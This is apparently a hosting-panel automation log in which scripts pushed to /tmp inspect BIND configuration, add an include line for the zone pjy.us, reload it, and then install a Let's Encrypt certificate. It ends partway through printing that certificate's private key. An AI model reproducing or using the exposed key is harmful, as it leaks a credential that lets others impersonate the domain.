XbuufNK_5m_Y4eLVxZ__QsQnD1ArYCIX31DTojDxjq8.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 XbuufNK_5m_Y4eLVxZ__QsQnD1ArYCIX31DTojDxjq8
2025-12-30 06:00:05:
chmod 755 /tmp/pkp915493; /tmp/pkp915493; rm /tmp/pkp915493
2025-12-30 06:00:05:
2025-12-30 06:00:07: Establishing a connection
2025-12-30 06:00:08: Establishing a connection
2025-12-30 06:00:09:
PUT: /tmp/pkp252541
#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-12-30 06:00:10:
chmod 755 /tmp/pkp252541; /tmp/pkp252541; rm /tmp/pkp252541
2025-12-30 06:00:10:
0
2025-12-31 06:00:02: Establishing a connection
2025-12-31 06:00:02: Establishing a connection
2025-12-31 06:00:03:
PUT: /tmp/pkp811086
#!/bin/bash
if [ -d "/var/www/pjy_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-12-31 06:00:04:
chmod 755 /tmp/pkp811086; /tmp/pkp811086; rm /tmp/pkp811086
2025-12-31 06:00:04:
0
2025-12-31 06:00:06: Establishing a connection
2025-12-31 06:00:06: Establishing a connection
2025-12-31 06:00:06:
PUT: /tmp/pkp595669
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2025-12-31 06:00:06:
runuser -l bind -s /bin/bash -c '/tmp/pkp595669; rm /tmp/pkp595669'
2025-12-31 06:00:06:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 4280f8c05bc7ff45d1502e829357c0b2
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2025-12-31 06:00:06:
PUT: /tmp/pkp158067
#!/usr/bin/python3
import os, grp, subprocess, time
from pwd import getpwnam
#target cache files
HASH = '4e946d31d5dbbaea14c1f8a8cc65c592'
ZONE_NAME = 'pjy.us'
TARGET_FILES = '/var/cache/bind'
LOCAL_FILE = '/etc/bind/named.conf.local'
uid = getpwnam('bind').pw_uid
gid = grp.getgrnam('bind')[2]
try:
os.chown(TARGET_FILES + '/' + HASH + '.conf', uid, gid)
os.chown(TARGET_FILES + '/' + HASH + '.txt', uid, gid)
except Exception as ex:
pass
PAYLOAD = 'include "' + HASH + '.conf"; # ' + ZONE_NAME
#text to insert into local
hash_present = False
with open(LOCAL_FILE) as fp:
line = fp.readline()
while line:
if HASH in line:
hash_present = True
break
line = fp.readline()
fp.close()
if not hash_present:
fp = open(LOCAL_FILE, 'a')
fp.write(PAYLOAD + "\n")
fp.close()
# call = old python, 'run' python 3.5+
subprocess.call(['rndc', 'reconfig'])
else:
subprocess.call(['rndc', 'freeze', ZONE_NAME ])
subprocess.call(['rndc', 'reload', ZONE_NAME ])
subprocess.call(['rndc', 'thaw', ZONE_NAME ])
time.sleep(3)
2025-12-31 06:00:06:
chmod 755 /tmp/pkp158067; /tmp/pkp158067; rm /tmp/pkp158067
2025-12-31 06:00:10:
rndc: 'freeze' failed: not dynamic
zone reload queued
STDERR:
rndc: 'freeze' failed: not dynamic
2025-12-31 06:00:10:
PUT: /tmp/pkp504502
#!/bin/bash
rndc reload pjy.us 2>&1
2025-12-31 06:00:10:
chmod 755 /tmp/pkp504502; /tmp/pkp504502; rm /tmp/pkp504502
2025-12-31 06:00:10:
zone reload up-to-date
2025-12-31 06:00:22: Establishing a connection
2025-12-31 06:00:22:
PUT: /tmp/pkp910554
#!/bin/bash
temp_file=$(mktemp)
TARGET=1ab41bf0e070e7b006d494c7605f9dcb.crt
cat > $temp_file <<'endmsg'
04:47:de:e0:75:06:0e:2d:af:6a:43:32:28:28:df:02
-----BEGIN CERTIFICATE-----
MIIE+jCCA+KgAwIBAgISBlGsPY0n/u6/tczpijPN+ZLFMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMjMxMDUwMTUxWhcNMjYwMzMxMDUwMTUwWjARMQ8wDQYDVQQD
EwZwankudXMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCjYFQTXZQg
43x/4+hTRvVdzvkocJSqkARRJIw71SaymCgFL9TWdtA5PnROZXZGEbQ76NHcdQln
SNCdNQwLqfi+svrzKADyV6U9xr5DB8u0LBIfhO2Bzf9REpcy3DGelzn97qVoqtbU
uGZZZlgcTuR6ikHVCurrY0twz+8B4L63GAU+v3BWe8SSrgSOCRe17W8EXbwm6fyv
f8OxX2Ff2QYmqGdBIRpegEd31pM31gnGx1NOQ/wsUyZE81a+7en7jt/9d4BurEBL
ZKxLhLqwlD0/6oqQcUSdIG2hTGtWgjAc6pRgScer6xduVybjzvmep84qz0BU1vYL
O/76YL5I3GoNAgMBAAGjggIoMIICJDAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0lBBYw
FAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYEFI/E
S40AvdEt95RDVwGSf/L0cFy6MB8GA1UdIwQYMBaAFAC1KfItjm8x6JtMrXg++tzp
DNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3IxMi5pLmxl
bmNyLm9yZy8wGwYDVR0RBBQwEoIIKi5wankudXOCBnBqeS51czATBgNVHSAEDDAK
MAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1odHRwOi8vcjEyLmMubGVuY3Iu
b3JnLzcwLmNybDCCAQwGCisGAQQB1nkCBAIEgf0EgfoA+AB2AA5XlLzzrqk+Mxss
mQez95Dfm8I9cTIl3SGpJaxhxU4hAAABm3L+NxUAAAQDAEcwRQIgCsqlaGrzvjQJ
bbq4XwTYBgfi3OBQde5/mDCJ8fg0BYECIQC/OGOy8k1VhR3DJ5Ewi4s7sgJF+O4v
6JUPMY2pjOh09QB+AHF+lfPCOIptseOEST0x4VqpYgh2LUIA4AUM0Ge1pmHiAAAB
m3L+N8sACAAABQAFotPhBAMARzBFAiBNpxLuUs35St6dfAvsdJ299yoMPQ/D0KIj
hnhZUvR1MQIhALP3KM6Rh9VfOl8AniIakXug9DXexpsGvOWGubhDTYPtMA0GCSqG
SIb3DQEBCwUAA4IBAQCcqz+ap4lFaNB1+Re71yY+8dGPQYzv6BMsikoLqTiqqfuK
ZGQWXRSh9lkfQTcREXSdGHIOODvq17rFCi8DOPbvTesqVdzt3I3mEJLkUMroIc07
lN/SGXGZ6cUzWX5PyjZ3fQ0EbXU3Z1BSiAqPrpabKOzITQprCqS9S1OmnX6h5LRo
YDHiDmetNLupYfUVb6wr2I2sMX+z+ukTmXDWbr7bomM75SOrbPIfC7X8vZseLwmQ
NkOMqbhmaRs5+d/l0s361v/eZxbTTK7HAbQz2alzf3CeIQPQ50a4dM0/Sf0+Q3Rz
Fq3iUaLhqd5U8911FAOOWjMPri0qeojHZB2Z6f2u
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCjYFQTXZQg43x/
4+hTRvVdzvkocJSqkARRJIw71SaymCgFL9TWdtA5PnROZXZGEbQ76NHcdQlnSNCd
NQwLqfi+svrzKADyV6U9xr5DB8u0LBIfhO2Bzf9REpcy3DGelzn97qVoqtbUuGZZ
ZlgcTuR6ikHVCurrY0twz+8B4L63GAU+v3BWe8SSrgSOCRe17W8EXbwm6fyvf8Ox
X2Ff2QYmqGdBIRpegEd31pM31gnGx1NOQ/wsUyZE81a+7en7jt/9d4BurEBLZKxL
hLqwlD0/6oqQcUSdIG2hTGtWgjAc6pRgScer6xduVybjzvmep84qz0BU1vYLO/76
YL5I3GoNAgMBAAECggEAAUcRET+zl1hAEn31RKVy6MNkFmle+EB9ECdhg1xE27Ot
6HB50R2HvlLbNPu9I4oi5y8IaRlvM+QRYZFXIUY4gEFFDh67dymxTJzfwwVuFeAc
Wiu/cbrrKrajAQ5QwwU6ul4h5AImAO7aOgu/V6VUSxMGtcRKlwGlRuIRY+neg+8E
dGNLNaiczIaP3Vv33gCPwzZJKzyrH/LAbx6OjgL3KMda8IJwOuy128aD/lBOZT8r
jvSi4p8pl1U+c4qWEoOT1ntJa9Mh5xGQYjMO1Q1g1YyIDMD9/DV3UqDez2qGmoSL
RZkTyPHIwo7Ov73+cCvMzKga2NVM8vfvSPL9/jzGMQKBgQDRsVUQ756G+LttmGE6
8bGpcp47mi6Kcboiimk0hag4kpWPNRbq5ta8bk4z4P6eRjt7Deq2O2jGiAyh8pmS
dQtIbnpP//xA0zp0EL0Pv1iGliL3ti8V7mrCgFmaGHO9LiydjGLDl4J0+R7AA/j/
np0DHaJ3+f/9QOAj32MEj7fZeQKBgQDHdJDJUnkcEKa393zKjJLN7KKXBDJmMdhr
hN/cJZtdEPHEYkRCRH3xsa5zZ6zbXcwhHgjuZccNUhaEc+WkpmhxUPy8/UV8/wzF
tbBssrBoBsGHuIU/UNNfp7hns8YChUVv43ZvNtcspuNU3fdaksefnZTt2WRxScre
6ObG2HqENQKBgQCN3T1B0fscMVcMVFUjfbTGgMbQaAUooLxe9ekrIWmnrHQGiNJS
ZY3NuYqqyoM4LSe8nrO2SgcemZiCUBDZ5tmVTTjuuq68ZKtdLp3Z84g+tYA+ukCs
w7nykMcN25Eh4gVJKVsAHJaj8I5/NbDVr0dmfjwWk0o+2g9J9a2Vvm2RcQKBgQC0
sJH2AEP9O8x9PrSLnjvkV6qX2tJ5qFBiXzaZ7mvILPCJM2iZDAl4qrnajKKY/GlP
2zDGH+fq1mHVzlTNC3/0oCTGZT/NVBVTCxzv7BVJuE0c0fnMeUF0F7JEKCWK5QcZ
rNv/NpRKPEoX+Rn7sJstq4lezCFlTC+AL0fZ/gVHvQKBgB8lFbPJOiglYop0sE3y
xIKqiIDDheDx/2TWJWMtPCUYd/HV5s2L6IqyqEAD0kUQQPZgkm/U1xb3HTaaYVZu
FeHAYX3ahsyRGM4Vgs4l+s4/m5jw0/7JISCTh1elazvmUkAb9h5fp7atSzOoEfPJ
ZKlJA2mLjPYFFKB0vR6b/OMj
